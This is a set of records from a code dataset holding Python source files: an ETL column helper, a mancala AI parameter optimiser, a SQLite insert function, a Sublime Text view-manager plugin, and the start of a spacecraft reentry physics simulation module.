)\n","repo_name":"influxdata/influxdb-python","sub_path":"influxdb/tests/test_line_protocol.py","file_name":"test_line_protocol.py","file_ext":"py","file_size_in_byte":6349,"program_lang":"python","lang":"en","doc_type":"code","stars":1671,"dataset":"github-code","pt":"78"} +{"seq_id":"30006362872","text":"import wic\nfrom wic import RESTRICT\nfrom wic import db as DB\nfrom wic import util as Util\nfrom wic.etl import db as DB1\nfrom wic.util import file as File\nfrom wic.etl.key import system_key\n\n\n_reDB = system_key['DATASOURCE']['CSV_FLT']['DB']\n\ndef build_columns(path):\n\n if File.is_path(path):\n good, bad = dict(), dict()\n File.gen_file_lines(path, newline= '\\r\\n', encoding= 'latin-1')\n pass\n\n\n\ndef patch_columns(bad, path):\n\n if type(bad) is dict() and File.is_path(path):\n ugly = dict()\n File.gen_file_lines(path, newline= '\\r\\n', encoding= 'latin-1')\n pass\n\n\n\ndef simple_extractor(column):\n\n def _extract(column, line):\n if type(line) is dict and column in line:\n return line[column]\n\n return lambda line: _extract(column, line)\n\n\n\ndef custom_extractor(column, callback):\n\n if Util.is_function(callback) and Util.get_arity(f) == 2:\n return lambda line: callback(column, line)\n\n\n\ndef find_file_path(cusid, tech, CAT, tblname= None):\n if CAT == RESTRICT.CO:\n path_str = 'columns/OBJECT.json'\n elif CAT == RESTRICT.OC:\n path_str = 'columns/OBJECT_CHECK.json'\n elif CAT in [RESTRICT.CM, RESTRICT.PM]:\n path_str = 'columns/{}.json'.format(tblname)\n elif CAT == RESTRICT.FM:\n path_str = 'columns/FX_ALARM.json'\n elif CAT == RESTRICT.DC:\n path_str = 'columns/{}_CHECK.json'.format(tblname)\n return wic.find_config_path().joinpath(path_str)\n\n\n\ndef find_bak_path(cusid, tech, CAT, tblname= None):\n if CAT == RESTRICT.CO:\n path_str = 'columns_bak/COMMON_OBJECT.json'\n elif CAT == RESTRICT.OC:\n path_str = 'columns/OBJECT_CHECK.json'\n elif CAT in [RESTRICT.CM, RESTRICT.PM]:\n path_str = 'columns_bak/{}.json'.format(tblname)\n elif CAT == RESTRICT.FM:\n path_str = 'columns_bak/FX_ALARM.json'\n elif CAT == RESTRICT.DC:\n path_str = 'columns/{}_CHECK.json'.format(tblname)\n return wic.find_config_path().joinpath(path_str)\n\n\n\ndef _get_SQL_check_columns(cusid, tech, tblname= None):\n\n tblcond = 'is null'\n if tblname is None:\n tblcond = '= TABLE_NAME'\n elif type(tblname) is str:\n tblcond = \"= '{tblname}'\".format(tblname= tblname)\n elif type(tblname) is list:\n tblcond = \"in ('{}')\".format(\"', '\".join(tblname))\n \n return \"\"\"\nselect TABLE_NAME\nfrom CM_DELTA_CHECK_4G\nwhere ENABLED = '1' and TABLE_NAME {tblcond}\n \"\"\".format(tblcond= tblcond)\n\n\n\ndef _get_proc_check_columns():\n\n \"\"\"\n ## result: { tblname: set([ field ]) }\n \"\"\"\n result = set()\n\n def _f(result, record):\n if record is None:\n return result\n else:\n (TABLE_NAME,) = record\n if TABLE_NAME not in result and TABLE_NAME != '':\n result.add(TABLE_NAME)\n\n return lambda arg= None: _f(result, arg)\n\n\n\ndef get_check_columns(tblname, cusid, tech, CAT, mod_name):\n \n if tblname is None:\n SQL = _get_SQL_check_columns(cusid, tech)\n if type(tblname) in set([str, list]):\n SQL = _get_SQL_check_columns(cusid, tech, tblname)\n\n dbconf = DB1.get_computed_config(cusid, tech, mod_name)[CAT]\n task_name = 'get columns for checking {}'.format(tblname)\n return DB.get_data_set(dbconf, task_name, SQL, _get_proc_check_columns(), mod_name)\n","repo_name":"YauHsien/some_ETL","sub_path":"scripts/wic/etl/column.py","file_name":"column.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17512499231","text":"# -*- coding: utf-8 -*-\n\"\"\"Goal: improve the minimaxer configuration\n\nOptimize the given configuration, by choosing the best set from\na set of neighbors, until we get back to a previous set.\nNeighbors are only selected along the axies.\n\nChoose 19 more random starting points an optimize from each,\nkeeping the overall best set of parameters.\n\nCreated on Sun Oct 15 09:45:43 2023\n@author: Ann\"\"\"\n\n# %% imports\n\nimport enum\nimport random\n\nimport tqdm\n\nfrom context import ai_player\nfrom context import man_config\nfrom context import game_log\n\nfrom game_interface import WinCond\n\n# %%\n\ngame_log.game_log.active = False\n\n\n# %%\n\nPATH = '../GameProps/XCaptSowOwn.txt'\n\n\n\n# %% players\n\n\nPSTART = {\"algorithm\": \"minimaxer\",\n \"difficulty\": 1,\n \"scorer\": {\n \"stores_m\": 4,\n \"access_m\": 0,\n \"seeds_m\": 1,\n \"empties_m\": 1,\n \"child_cnt_m\": 0,\n \"evens_m\": 0,\n \"easy_rand\": 0,\n \"repeat_turn\": 50\n },\n \"ai_params\": {\n \"mm_depth\": [1, 3, 5, 8],\n }\n }\n\n\n\n\n# %%\n\nGAMES = 100\nSTEPS = 20\n\nclass GameResult(enum.Enum):\n \"\"\"Game results.\"\"\"\n\n WIN = WinCond.WIN.value\n TIE = WinCond.TIE.value\n GAME_OVER = WinCond.GAME_OVER.value\n ENDLESS = WinCond.ENDLESS.value\n MAX_TURNS = enum.auto()\n\ndef test_one_game(game, tplayer, fplayer):\n\n for _ in range(2000 if game.info.rounds else 500):\n\n if game.turn:\n move = tplayer.pick_move()\n else:\n move = fplayer.pick_move()\n\n cond = game.move(move)\n if cond in (WinCond.WIN, WinCond.TIE, WinCond.ENDLESS):\n break\n if cond in (WinCond.ROUND_WIN, WinCond.ROUND_TIE):\n if game.new_game(cond, new_round_ok=True):\n return cond.value, game.turn\n\n if game.info.mustpass:\n game.test_pass()\n\n else:\n return GameResult.MAX_TURNS.value, None\n\n return cond.value, game.turn\n\n\ndef get_win_percent(game, player1, player2):\n\n p2_win_cnt = 0\n\n for cnt in tqdm.tqdm(range(GAMES)):\n game.new_game()\n\n if cnt < GAMES // 2:\n game.turn = True\n else:\n game.turn = False\n\n result, winner = test_one_game(game, player1, player2)\n\n if result == GameResult.WIN.value and not winner:\n p2_win_cnt += 1\n\n return p2_win_cnt / GAMES\n\n\ndef get_dict(player):\n\n params = vars(player.sc_params).copy()\n del params['child_cnt_m']\n del params['evens_m']\n del params['easy_rand']\n\n return params\n\n\ndef one_step(game, player1, player2):\n \"\"\"Compare player1 playing (params) to some of it's neighbors\n by setuping player2 and playing.\"\"\"\n\n params = get_dict(player1)\n best_params = params.copy()\n better_pct = 0\n\n for axis in params:\n\n if axis == 'repeat_turn':\n val = params[axis]\n if val == 0:\n test_vals = [10]\n elif val == 80:\n test_vals = [70]\n else:\n test_vals = [val - 10, val + 10]\n else:\n val = params[axis]\n if val == 0:\n test_vals = [-1, 1]\n elif val == 8:\n test_vals = [4]\n elif val == -8:\n test_vals = [-4]\n else:\n test_vals = [val // 2, val * 2]\n\n for nval in test_vals:\n\n pcopy = params.copy()\n pcopy[axis] = nval\n\n player2.sc_params = ai_player.ScoreParams(**pcopy)\n player2.collect_scorers()\n\n win_pct = get_win_percent(game, player1, player2)\n\n if win_pct > better_pct:\n better_pct = win_pct\n best_params = pcopy\n\n print('Better Params: ', win_pct)\n print(best_params)\n print()\n\n return best_params\n\n\ndef optimize_new_start(game, player1, player2):\n \"\"\"Player 1 is a new starting point:\n 1. search some neightbors for the next best point (one_step)\n 2. if we end up back where we were, have found a local max\n 3. else update player1 with new param set (and loop)\"\"\"\n\n local_best_params = prev_params = get_dict(player1)\n\n for i in range(STEPS):\n\n print(f'\\nStep local {i}: :', local_best_params)\n params = one_step(game, player1, player2)\n\n if params == prev_params:\n break\n\n else:\n # we've taken a step in better direction, keep going\n local_best_params = params\n\n player1.sc_params = ai_player.ScoreParams(**params)\n player1.collect_scorers()\n prev_params = params.copy()\n\n return local_best_params\n\n\nTEST_VALS = [-8, -4, -2, -1, 0, 1, 2, 4, 8]\n\ndef optimize():\n\n game, _ = man_config.make_game(PATH)\n player1 = ai_player.AiPlayer(game, PSTART)\n player2 = ai_player.AiPlayer(game, PSTART)\n\n print('Depths: ', player1.algo.max_depth, player2.algo.max_depth)\n\n best_params = params = get_dict(player1)\n\n for i in range(STEPS):\n\n print(f'\\n\\nNew Start {i}: ', params)\n params = optimize_new_start(game, player1, player2)\n\n # compare local best to overal best\n print('Comparing best_params')\n print(best_params)\n player1.sc_params = ai_player.ScoreParams(**best_params)\n player1.collect_scorers()\n print(' to new param set ')\n print(params)\n player2.sc_params = ai_player.ScoreParams(**params)\n player2.collect_scorers()\n\n win_pct = get_win_percent(game, player1, player2)\n\n if win_pct > 0.5:\n # new params beat old best_params\n print(f\"New Best Params: {win_pct:%} over previous best.\")\n print(params)\n print()\n\n best_params = params.copy()\n\n\n # choose a new random spot\n params = {'stores_m': random.choice(TEST_VALS),\n 'access_m': random.choice(TEST_VALS),\n 'seeds_m': random.choice(TEST_VALS),\n 'empties_m': random.choice(TEST_VALS)}\n\n player1.sc_params = ai_player.ScoreParams(**params)\n player1.collect_scorers()\n\n return best_params\n\n\n# %%\n\nbest_params = optimize()\n\nprint('Best Params: ')\nprint(best_params)\n","repo_name":"StoneShark/MancalaGames","sub_path":"analysis/optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":6288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9488974419","text":"\"\"\"\nThis module contains the function to insert data into the metro_systems table of\nthe database\n\n Parameters:\n conn (sqlite3.Connection): A connection to the database\n metro_systems_data (list): A list of dictionaries containing the data to be inserted\n\n Returns:\n None\n\"\"\"\nimport sqlite3\n\ndef insert_metro_systems(conn, metro_systems_data):\n \"\"\"\n Functions to insert data into the metro_systems_data table\n \"\"\"\n query = \"\"\"INSERT INTO metro_systems (\n id, city, country_region, name, service_opened, last_expanded, stations, system_length,\n annual_ridership, rail_type\n ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\"\n\n # convert the list of dictionaries to a list of tuples\n metro_systems_tuples = []\n for city in metro_systems_data:\n city_tuple = (city[\"id\"], city[\"City\"], city[\"Country Region\"], city[\"Name\"], city[\"Service Opened\"],\n city[\"Last Expanded\"], city[\"Stations\"], city[\"System Length (km)\"], city[\"Annual Ridership (millions)\"],\n city[\"Rail Type\"])\n metro_systems_tuples.append(city_tuple)\n\n cursor = conn.cursor()\n\n # insert data to the table and check for any duplicate ids\n for city_tuple in metro_systems_tuples:\n try:\n cursor.execute(query, city_tuple)\n except sqlite3.IntegrityError:\n print(f\"Duplicate id found: Metro: {city_tuple[0]}, {city_tuple[1]}\")\n continue\n conn.commit()","repo_name":"jonhogan/Subway_Project","sub_path":"database/database_functions/insert_metro_systems.py","file_name":"insert_metro_systems.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7349964372","text":"\nimport sublime\nimport sublime_plugin\n\n\ndef get_return(var_label):\n \"\"\"Get return value corresponding to a given label\n\n Parameters\n ----------\n var_label : str\n Key of return value to fetch from return_drop_file\n\n Returns\n -------\n arbitrary type\n Fetched return value\n \"\"\"\n ret = sublime.load_settings(\"return_drop_file.sublime-settings\")\n return ret.get(var_label)\n\n\nclass viewmanagerCommand(sublime_plugin.WindowCommand):\n \"\"\"View Manager command for creating, tracking, and destroying generated\n views\"\"\"\n\n active_explorer_windows = {}\n\n def run(self, method, label):\n \"\"\"Command run method (as per sublime API)\n\n Parameters\n ----------\n method : str\n Method to call\n label : str\n Parameter to pass to the called method (usually the name of\n the new view / file)\n\n Returns\n -------\n All returns via get_return // return_drop_file.sublime-settings\n view_id : int\n View ID of the created / destroyed / found view\n label : str\n View name\n \"\"\"\n\n ret = sublime.load_settings(\n 'return_drop_file.sublime-settings')\n\n try:\n (return_id, return_label) = getattr(self, method)(label)\n ret.set(\"view_id\", return_id)\n ret.set(\"label\", return_label)\n except AttributeError:\n print(\n \"Method name not valid. Valid method names: \"\n \"create_new_view\\n\"\n \"is_registered_view\\n\"\n \"close_if_registered\\n\"\n \"close_view\")\n\n def create_new_view(self, label):\n \"\"\"Create a new view with the provided label\n\n Parameters\n ----------\n label : str\n View label\n\n Returns\n -------\n (int, str)\n (Created View ID, View label (same as arg))\n \"\"\"\n\n # Create file\n self.window.new_file()\n self.window.active_view().set_scratch(True)\n self.window.active_view().set_name(label)\n\n view_id = self.window.active_view().id()\n\n # log the ID and label in the database\n self.active_explorer_windows.update(\n {view_id: label})\n\n return (view_id, label)\n\n def is_registered_view(self, label):\n \"\"\"Check if a given label corresponds to a registered view\n\n Parameters\n ----------\n label : str\n View name to check\n\n Returns\n -------\n (int, str)\n (view_id, view_label) if found; else (0, \"\")\n \"\"\"\n\n # get current view ID\n current_view = self.window.active_view().id()\n\n # current_view found => provide the corresponding filepath\n if(current_view in self.active_explorer_windows):\n return((current_view, self.active_explorer_windows[current_view]))\n else:\n return((0, \"\"))\n\n def close_if_registered(self, label):\n \"\"\"Check if a label is registered, and close it if it is.\n\n Parameters\n ----------\n label : str\n Ignored\n\n Returns\n -------\n (int, str)\n Same as is_registered_view.\n \"\"\"\n\n if self.is_registered_view(\"\"):\n return self.close_view(\"\")\n else:\n return ((0, \"\"))\n\n def close_view(self, label):\n \"\"\"Close the target view\n\n Parameters\n ----------\n label : str\n Ignored\n\n Returns\n -------\n (int, str)\n Same as is_registered_view.\n \"\"\"\n\n # get current view\n view_id = self.window.active_view().id()\n # deregister view_id\n del(self.active_explorer_windows[view_id])\n # close current view.\n self.window.run_command(\"close\")\n\n return((view_id, label))\n\n\nclass inserttextCommand(sublime_plugin.TextCommand):\n \"\"\"Base insert text command\n\n Since sublime 'edit' objects can only be created by TextCommands, any\n view edits must pass through an external command.\n\n Usage\n -----\n self.window.run_command(\n \"inserttext\", {\n \"text\": text_to_insert,\n \"point\": sublime_text_point\n })\n \"\"\"\n\n def run(self, edit, text, point):\n\n self.view.insert(edit, point, text)\n","repo_name":"thetianshuhuang/ctrl-shell","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25316450090","text":"import math\nfrom astropy import units as u\nfrom poliastro.core.elements import coe2rv\nfrom astropy.time import Time\nfrom coordinate_converter import *\nimport numpy as np\nimport matplotlib.colors as mcolors\nfrom scipy.integrate import solve_ivp\nimport time\nfrom numba import jit, njit\nfrom copy import deepcopy\nfrom poliastro.twobody import Orbit\nimport base64\nfrom constants import *\n\ndef match_array_length(array, target_length):\n if len(array) > target_length:\n return array[:target_length]\n elif len(array) < target_length:\n return np.pad(array, (0, target_length - len(array)), mode='constant')\n else:\n return array\n\n#special functions\n@jit(nopython=True)\ndef filter_results_by_altitude(sol, altitude):\n valid_indices = [i for i, alt in enumerate(altitude) if alt >= 0]\n sol = deepcopy(sol)\n sol.y = sol.y[:, valid_indices]\n sol.t = sol.t[valid_indices]\n sol.additional_data = [sol.additional_data[i] for i in valid_indices]\n return sol\n\ndef make_download_link(df, filename, text):\n csv = df.to_csv(index=False)\n b64 = base64.b64encode(csv.encode()).decode()\n return f'<a href=\"data:file/csv;base64,{b64}\" download=\"{filename}\">{text}</a>'\n\ndef mpl_to_plotly_colormap(cmap, num_colors=256):\n colors = [mcolors.rgb2hex(cmap(i)[:3]) for i in range(num_colors)]\n scale = np.linspace(0, 1, num=num_colors)\n return [list(a) for a in zip(scale, colors)]\n\ndef get_color(normalized_value, colormap):\n rgba = colormap(normalized_value)\n return f\"rgba({int(rgba[0]*255)}, {int(rgba[1]*255)}, {int(rgba[2]*255)}, {rgba[3]})\"\n\ndef periapsis_apoapsis_points(orbit: Orbit):\n k = orbit.attractor.k.to_value(\"km^3 / s^2\")\n\n # Calculate the true anomalies for periapsis and apoapsis\n nu_periapsis = 0\n nu_apoapsis = np.pi\n\n # Calculate the position and velocity vectors for periapsis and apoapsis in ECI frame\n r_periapsis_ECI, _ = coe2rv(k, orbit.p.to_value('km'), orbit.ecc.value, orbit.inc.to_value('rad'), orbit.raan.to_value('rad'), orbit.argp.to_value('rad'), nu_periapsis)\n r_apoapsis_ECI, _ = coe2rv(k, orbit.p.to_value('km'), orbit.ecc.value, orbit.inc.to_value('rad'), orbit.raan.to_value('rad'), orbit.argp.to_value('rad'), nu_apoapsis)\n\n # Convert the position vectors from km to m\n r_periapsis_ECI = r_periapsis_ECI * 1000\n r_apoapsis_ECI = r_apoapsis_ECI * 1000\n\n return r_periapsis_ECI, r_apoapsis_ECI\n\n# numba functions\n# ----------------\n@njit\ndef euclidean_norm(vec):\n return np.sqrt(vec[0] ** 2 + vec[1] ** 2 + vec[2] ** 2)\n\n@jit(nopython=True)\ndef simplified_nrlmsise_00(altitude, latitude, jd_epoch):\n factor = solar_activity_factor(jd_epoch, altitude)\n \n # Latitude factor (simplified)\n latitude_factor = 1 + 0.01 * np.abs(latitude) / 90.0\n\n # Find the appropriate altitude layer\n i = np.searchsorted(ALTITUDE_BREAKPOINTS, altitude, side='right') - 1\n delta_altitude = altitude - ALTITUDE_BREAKPOINTS[i]\n T = BASE_TEMPERATURES[i] + TEMPERATURE_GRADIENTS[i] * delta_altitude\n\n if TEMPERATURE_GRADIENTS[i] == 0:\n P = BASE_PRESSURES[i] * np.exp(-EARTH_GRAVITY * EARTH_AIR_MOLAR_MASS * delta_altitude / (EARTH_GAS_CONSTANT * BASE_TEMPERATURES[i]))\n else:\n P = BASE_PRESSURES[i] * (T / BASE_TEMPERATURES[i]) ** (-EARTH_GRAVITY * EARTH_AIR_MOLAR_MASS / (EARTH_GAS_CONSTANT * TEMPERATURE_GRADIENTS[i]))\n\n if i == len(ALTITUDE_BREAKPOINTS) - 1:\n P *= np.exp(-(altitude - ALTITUDE_BREAKPOINTS[-1]) / SCALE_HEIGHT)\n\n # Apply the latitude factor\n P *= latitude_factor\n\n rho = P / (R_GAS * T)\n # make solar activity factor decrease exponentially bellow 20km\n\n rho *= factor\n\n return rho, T\n\n# test simplified_nrlmsise_00\n# ---------------------------\n# altitude = 600000\n# latitude = 0\n# rho, T = simplified_nrlmsise_00(altitude, latitude)\n# print(rho, T)\n\nfrom scipy.optimize import curve_fit\n\n@jit(nopython=True)\n# normalized sigmoid function (y1 = 0, y2 = 1)\ndef normalized_sigmoid(x, k, x0):\n return 1 / (1 + np.exp(-k * (x - x0)))\n\n# find k and x0 for normalized sigmoids\ndef fit_normalized_sigmoid(x1, y1, x2, y2):\n x_data = np.array([x1, x2])\n y_data = np.array([(y1 - y1) / (y2 - y1), (y2 - y1) / (y2 - y1)])\n params, _ = curve_fit(normalized_sigmoid, x_data, y_data, p0=[0.0001, x1 + (x2 - x1) / 2], maxfev=10000)\n\n k, x0 = params\n return k, x0\n\n@jit(nopython=True)\ndef sigmoid(x, y1, y2, k, x0, smoothness=0.0010):\n normalized_output = normalized_sigmoid(x, k * smoothness, x0)\n return y1 + (y2 - y1) * normalized_output\n\n# discover k and x0 for normalized sigmoid with x1 = 0, y1 = 0, x2 = 40000, y2 = 150\n# Points (x1, y1) and (x2, y2)\nx1, y1 = 0, 100\nx2 = 40000\ny2 = 150 # This can be any value you want\n\nk, x0 = fit_normalized_sigmoid(x1, y1, x2, y2)\nprint(f\"Best-fit values: k = {k}, x0 = {x0}\")\n\nk = 0.036032536225379\nx0 = 19709.47069118867\n\n# Example usage with variable y2\ny2_new = 180\naltitude = 40000\nfactor = sigmoid(altitude, y1, y2_new, k, x0)\nprint(f\"Factor at altitude {altitude} with y2 = {y2_new}: {factor}\")\n\n\n@jit(nopython=True)\ndef solar_activity_factor(jd_epoch, altitude, jd_solar_min=2454833.0, f107_average=150.0, solar_cycle_months=132):\n # Calculate the time since the last solar minimum in months\n days_since_min = jd_epoch - jd_solar_min\n months_since_min = days_since_min / DAYS_PER_MONTH\n months_since_cycle_start = (months_since_min % solar_cycle_months) / solar_cycle_months * 2 * PI\n\n # Estimate the F10.7 value based on a simple sinusoidal model\n f107 = f107_average + F107_AMPLITUDE * np.sin(months_since_cycle_start)\n \n # Calculate the solar activity factor\n factor = 1 + (f107 - f107_average) / f107_average\n\n # make solar activity factor decrease exponentially bellow 20km\n if altitude < 90000:\n # use sigmoid curve here to make the factor decrease exponentially between 0 and 40000m\n k = 0.036032536225379 # from fit_normalized_sigmoid\n x0 = 19709.47069118867\n factor = sigmoid(altitude, 1, factor, k, x0)\n \n return factor\n\n# test solar_activity_factor\n# ---------------------------\n# epoch=Time('2024-01-01 00:00:00').jd\n# jd_epoch = epoch + 1 / 86400\n# jd_solar_min = 2454833.0\n# f107_average = 150.0\n# solar_cycle_months = 132\n# factor = solar_activity_factor(jd_epoch, jd_solar_min, f107_average, solar_cycle_months)\n# print(factor)\n\n#@jit(nopython=True)\ndef atmosphere_model(altitude, latitude, jd_epoch):\n if altitude <= 0:\n return 1.225, 288.15\n else:\n # Calculate the density and temperature using the simplified NRLMSISE-00 model\n rho, T = simplified_nrlmsise_00(altitude, latitude, jd_epoch)\n\n return rho, T\n \n# test atmosphere_model\n# ---------------------------\n# altitude = 102010.012\n# latitude = 0\n# epoch=Time('2024-01-01 00:00:00').jd\n# jd_epoch = epoch + 1 / 86400\n# jd_solar_min = 2454833.0\n# f107_average = 150.0\n# solar_cycle_months = 132\n# rho, T, solar_factor = atmosphere_model(altitude, latitude, jd_epoch, jd_solar_min, f107_average, solar_cycle_months)\n# print(rho, T)\n\n@jit(nopython=True)\ndef atmospheric_drag(Cd, A, atmospheric_rho, v, mass):\n F_d = 0.5 * atmospheric_rho * Cd * A * euclidean_norm(v)**2\n drag_force_vector = -(F_d / euclidean_norm(v)) * v\n drag_accelleration_vector = drag_force_vector / mass\n return drag_accelleration_vector\n\n# test atmospheric_drag\n# ---------------------------\n# Cd = 2.2\n# A = 0.1\n# altitude = 8010.012\n# latitude = 0\n# epoch=Time('2024-01-01 00:00:00').jd\n# jd_epoch = epoch + 1 / 86400\n# atmospheric_rho, _ = atmosphere_model(altitude, latitude, jd_epoch)\n# v = np.array([7500, 0, 0])\n# drag_force_vector = atmospheric_drag(Cd, A, atmospheric_rho, v)\n# print(drag_force_vector)\n\n\n@njit\ndef heat_transfer(v,ablation_efficiency, T_s, atmo_T, thermal_conductivity, capsule_length, emissivity,spacecraft_m, a_drag, specific_heat_capacity, dt):\n v_norm = euclidean_norm(v)\n a_drag = euclidean_norm(a_drag)\n\n drag_force = spacecraft_m * a_drag\n\n # Calculate work done (W) using the drag force and change in velocity (dv)\n W = drag_force * v_norm\n\n # Calculate the heat generated (Q) from the work done (W) and the ablation efficiency factor\n Q = ablation_efficiency * W\n Qc = thermal_conductivity * (T_s - atmo_T) / capsule_length\n Qr = emissivity * STEFAN_BOLTZMANN_CONSTANT * (T_s**4 - atmo_T**4)\n Q_net = Q - Qc - Qr\n dT = Q_net / (spacecraft_m * specific_heat_capacity) * dt\n\n return Qc, Qr, Q_net, Q, T_s, dT\n\n# @jit(nopython=True)\ndef spacecraft_temperature(v, atmo_T, a_drag, capsule_length, dt, thermal_conductivity ,specific_heat_capacity, emissivity, ablation_efficiency, iter_fact=2, spacecraft_m=500):\n # Initialize the spacecraft temperature to the atmospheric temperature\n T_s = atmo_T\n dt = int(dt / iter_fact)\n iterations = dt\n\n for _ in range(iterations):\n # Calculate radiative heat transfer (Qr) using the emissivity of the heat shield material and the Stefan-Boltzmann constant (sigma)\n Qc, Qr, Q_net, Q, T_s, dT = heat_transfer(v,ablation_efficiency, T_s, atmo_T, thermal_conductivity, capsule_length, emissivity,spacecraft_m, a_drag, specific_heat_capacity, dt)\n # Update the spacecraft temperature (T_s) by adding the temperature change (dT) to the current temperature\n T_s += dT\n\n return Qc, Qr, Q_net, Q, T_s, dT\n\n# test spacecraft_temperature\n# ---------------------------\n# V = np.array([7500, 0, 0])\n# atmo_rho = 0.0001\n# material = ['Aluminum', 0.0001, 2700, 0.3, 0.3, 0.3, 0.3]\n# atmo_T = 185\n# thickness = 0.1\n# altitude = 100000\n# characteristic_length = 0.3\n# T_surface = spacecraft_temperature(V, atmo_rho, material, atmo_T, thickness, altitude, characteristic_length)\n# print(T_surface)\n\n\n@jit(nopython=True)\ndef moon_position_vector(jd):\n # Time since J2000 (in days)\n t = jd - JD_AT_0 # 2451545.0 is the Julian date for J2000\n\n # Compute mean anomaly\n M = MOON_M0 + MOON_MMOTION_RAD * t\n\n # Solve Kepler's equation for eccentric anomaly (E) using Newton-Raphson method\n E = M\n for _ in range(10): # Iterate a few times to get an accurate solution\n E = E - (E - MOON_E * np.sin(E) - M) / (1 - MOON_E * np.cos(E))\n\n # Compute true anomaly (f)\n f = 2 * np.arctan2(np.sqrt(1 + MOON_E) * np.sin(E / 2), np.sqrt(1 - MOON_E) * np.cos(E / 2))\n\n # Compute heliocentric distance (r)\n r = MOON_A * (1 - MOON_E * np.cos(E))\n\n # Compute position vector in the orbital plane\n x_prime = r * np.cos(f)\n y_prime = r * np.sin(f)\n\n # Rotate position vector to the ecliptic coordinate system\n x = (x_prime * (np.cos(MOON_OMEGA) * np.cos(MOON_W) - np.sin(MOON_OMEGA) * np.sin(MOON_W) * np.cos(MOON_I))\n - y_prime * (np.sin(MOON_OMEGA) * np.cos(MOON_W) + np.cos(MOON_OMEGA) * np.sin(MOON_W) * np.cos(MOON_I)))\n y = (x_prime * (np.sin(MOON_OMEGA) * np.cos(MOON_W) + np.cos(MOON_OMEGA) * np.sin(MOON_W) * np.cos(MOON_I))\n + y_prime * (np.cos(MOON_OMEGA) * np.cos(MOON_W) - np.sin(MOON_OMEGA) * np.sin(MOON_W) * np.cos(MOON_I)))\n z = x_prime * np.sin(MOON_W) * np.sin(MOON_I) + y_prime * np.cos(MOON_W) * np.sin(MOON_I)\n\n return np.array([x, y, z])\n\n# Test moon_position_vector\n# -------------------------\n# jd = 2451545.0\n# moon_pos = moon_position_vector(jd)\n# norm_moon_pos = euclidean_norm(moon_pos)\n# norm_moon_pos_km = norm_moon_pos / 1000\n# print(\"Moon position vector (m):\", moon_pos)\n# print(\"Moon position vector magnitude (m):\", norm_moon_pos)\n# print(\"Moon position vector magnitude (km):\", norm_moon_pos_km)\n\n@jit(nopython=True)\ndef sun_position_vector(jd):\n # Time since J2000 (in days)\n t = jd - JD_AT_0\n\n # Compute mean anomaly\n n = 2 * PI / YEAR_D # Mean motion (radians per day)\n L = SUN_L0 + n * t\n M = L - SUN_OMEGA - SUN_W\n\n # Solve Kepler's equation for eccentric anomaly (E) using Newton-Raphson method\n E = M\n for _ in range(10): # Iterate a few times to get an accurate solution\n E = E - (E - SUN_E * np.sin(E) - M) / (1 - SUN_E * np.cos(E))\n\n # Compute true anomaly (f)\n f = 2 * np.arctan2(np.sqrt(1 + SUN_E) * np.sin(E / 2), np.sqrt(1 - SUN_E) * np.cos(E / 2))\n\n # Compute heliocentric distance (r)\n r = SUN_A * (1 - SUN_E * np.cos(E))\n\n # Compute position vector in the orbital plane\n x_prime = r * np.cos(f)\n y_prime = r * np.sin(f)\n\n # Rotate position vector to the ecliptic coordinate system\n x = (x_prime * (np.cos(SUN_OMEGA) * np.cos(SUN_W) - np.sin(SUN_OMEGA) * np.sin(SUN_W) * np.cos(SUN_I))\n - y_prime * (np.sin(SUN_OMEGA) * np.cos(SUN_W) + np.cos(SUN_OMEGA) * np.sin(SUN_W) * np.cos(SUN_I)))\n y = (x_prime * (np.sin(SUN_OMEGA) * np.cos(SUN_W) + np.cos(SUN_OMEGA) * np.sin(SUN_W) * np.cos(SUN_I))\n + y_prime * (np.cos(SUN_OMEGA) * np.cos(SUN_W) - np.sin(SUN_OMEGA) * np.sin(SUN_W) * np.cos(SUN_I)))\n z = x_prime * np.sin(SUN_W) * np.sin(SUN_I) + y_prime * np.cos(SUN_W) * np.sin(SUN_I)\n\n return np.array([x, y, z])\n\n# Test sun_position_vector\n# -------------------------\n# jd = 2451545.0\n# sun_pos = sun_position_vector(jd)\n# norm_sun_pos = euclidean_norm(sun_pos)\n# norm_sun_pos_km = norm_sun_pos / 1000\n# print(\"Sun position vector (m):\", sun_pos)\n# print(\"Sun position vector magnitude (m):\", norm_sun_pos)\n\n@jit(nopython=True)\ndef third_body_acceleration(satellite_position, third_body_position, k_third):\n # Calculate the vector from the satellite to the third body\n r_satellite_to_third_body = third_body_position - satellite_position\n\n return (\n k_third * r_satellite_to_third_body / euclidean_norm(r_satellite_to_third_body) ** 3\n - k_third * third_body_position / euclidean_norm(third_body_position) ** 3\n )\n\n# Test third_body_acceleration\n# ----------------------------\n# jd = 2451545.0\n# satellite_position = np.array([8000000.0, 0.0, 0.0])\n# sun_position = sun_position_vector(jd)\n# k_third = SUN_K\n# a_third = third_body_acceleration(satellite_position, sun_position, k_third)\n# a_third_norm = euclidean_norm(a_third)\n# print(\"Third body acceleration (m/s^2):\", a_third)\n# print(\"Third body acceleration magnitude (m/s^2):\", a_third_norm)\n\n\n@jit(nopython=True)\ndef J2_perturbation_numba(r, k, J2, R):\n x, y, z = r[0], r[1], r[2]\n r_vec = np.array([x, y, z])\n r = euclidean_norm(r_vec)\n\n factor = (3.0 / 2.0) * k * J2 * (R**2) / (r**5)\n\n a_x = 5.0 * z ** 2 / r**2 - 1\n a_y = 5.0 * z ** 2 / r**2 - 1\n a_z = 5.0 * z ** 2 / r**2 - 3\n return np.array([a_x, a_y, a_z]) * r_vec * factor\n\n# ----------------\n\nclass SpacecraftModel:\n def __init__(self, Cd=2.2, A=20.0, m=500.0, epoch=Time('2024-01-01 00:00:00'), gmst0=0.0, sim_type='RK45', material=[233, 1, 1, 0.1], dt=10, iter_fact=2):\n self.Cd = Cd # drag coefficient\n self.A = A # cross-sectional area of spacecraft in m^2\n self.height = np.sqrt(self.A / PI) * 1.315 # height of spacecraft in m, assuming orion 